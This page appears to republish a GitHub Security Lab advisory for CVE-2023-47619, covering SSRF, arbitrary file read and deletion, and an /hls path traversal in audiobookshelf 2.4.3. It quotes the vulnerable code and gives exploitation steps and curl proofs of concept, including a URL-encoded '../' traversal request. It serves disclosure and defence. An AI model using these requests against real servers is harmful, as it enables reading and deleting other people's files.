Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-47619: GHSL-2023-203_GHSL-2023-204: Several vulnerabilities in audiobookshelf

Audiobookshelf is a self-hosted audiobook and podcast server. In versions 2.4.3 and prior, users with the update permission are able to read arbitrary files, delete arbitrary files and send a GET request to arbitrary URLs and read the response. This issue may lead to Information Disclosure. As of time of publication, no patches are available.

CVE
#vulnerability#js#git#ssrf#auth

Coordinated Disclosure Timeline

  • 2023-10-01: Report submitted to maintainer
  • 2023-11-01: Advisory Published

Summary

Audiobookshelf is vulnerable to server-side request forgery (SSRF), arbitrary file read (AFR) and arbitrary file deletion (AFD) depending on the permissions of the user.

Project

audiobookshelf

Tested Version

v2.4.3

Details

Users with the update permission are able to read arbitrary files, delete arbitrary files and send a GET request to arbitrary URLs and read the response.

   const payload = req.body // <---- imagePath comes from req.body without sanitization
    if (payload.imagePath !== undefined && payload.imagePath !== req.author.imagePath) {
      if (!payload.imagePath && req.author.imagePath) {
        await CacheManager.purgeImageCache(req.author.id)
        await CoverManager.removeFile(req.author.imagePath) // <---- imagePath is passed to removeFile
      } else if (payload.imagePath.startsWith('http')) {
        const imageData = await AuthorFinder.saveAuthorImage(req.author.id, payload.imagePath) // <---- imagePath is used to make a GET request and its response is saved
        if (imageData) {
          if (req.author.imagePath) {
            await CacheManager.purgeImageCache(req.author.id)
          }
          payload.imagePath = imageData.path
          hasUpdated = true
        }
      } else if (payload.imagePath && payload.imagePath !== req.author.imagePath) {
        if (!await fs.pathExists(payload.imagePath)) {            // < ---- only check for existence of path, thus specifying any local file will result in file read
          Logger.error(`[AuthorController] Image path does not exist: "${payload.imagePath}"`)
          return res.status(400).send('Author image path does not exist')
        }

        if (req.author.imagePath) {
          await CacheManager.purgeImageCache(req.author.id)
        }
      }
    }

Impact

This issue may lead to Information Disclosure.

Resources

SSRF

  1. In order to exploit SSRF, first send a request with the url of the file you wish to download. Curl is messy, so I would just go into the UI and click to edit the author’s image and put in the desired url which will send a PATCH request to /api/authors/author-id.
  2. Download the file from api/authors/author-id/image with the following command:

curl -i -s -k -X $’GET’
-H $’Host: localhost:3333’ -H $’Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2NmFjZTUxNy01NGJmLTRjYmUtYTBlZC05ZWZkMzZhNWI5NmMiLCJ1c2VybmFtZSI6InRlc3RlciIsImlhdCI6MTY5NTg0ODQ4Mn0.rvF1kTKXHMsjPYV_PtvMnCKNgvXxNrTDTiOIh8yz0hE’ -H $’Content-Length: 2’
–data-binary $’\x0d\x0a’
$’http://localhost:3333/api/authors/40913999-5739-4c84-bff0-93f9b34a08ef/image?token=JWT_TOKEN&raw=true’

Arbitrary File Deletion

  1. In order to exploit arbitrary file deletion, first send a request with the path to the file you wish to delete. Curl is messy, so I would just go into the UI and click to edit the author’s image and put in the path to the file you wish to delete which will send a PATCH request to /api/authors/author-id.
  2. Then, go into the UI and click to edit the author’s image and put in nothing which will send a PATCH request to /api/authors/author-id with an empty imagePath, deleting the file.

Issue 2: Arbitrary File Read in HlsRouter.js (GHSL-2023-204)

Any user (regardless of their permissions) may be able to read files from the local file system due to a path traversal in the /hls endpoint.

 var streamId = req.params.stream
 var fullFilePath = Path.join(this.playbackSessionManager.StreamsPath, streamId, req.params.file)
 var exists = await fs.pathExists(fullFilePath)
 res.sendFile(fullFilePath)

Impact

This issue may lead to Information Disclosure.

Resources

Proof of Concept:

curl -i -s -k -X $'GET' \
    -H $'Host: localhost:3333' -H $'Accept: application/json, text/plain, */*' -H $'Authorization: Bearer JWT TOKEN' -H $'Content-Length: 2' \
    --data-binary $'\x0d\x0a' \
    $'http://localhost:3333/hls/whatever/..%2F..%2F..%2F..%2F..%2F..%2F(url encoded full path here)'

Note: The %2Fs are URL-encoded forward slashes (/) to prevent confusion with the express regex parser. After traversing back enough directories, we can input the URL-encoded full path of the file we wish to access.

Credit

These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings). These issues were discovered with the help of CodeQL’s SSRF and Path Injection queries.

You can contact the GHSL team at [email protected], please include a reference to GHSL-2023-203 or GHSL-2023-204 in any communication regarding these issues.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907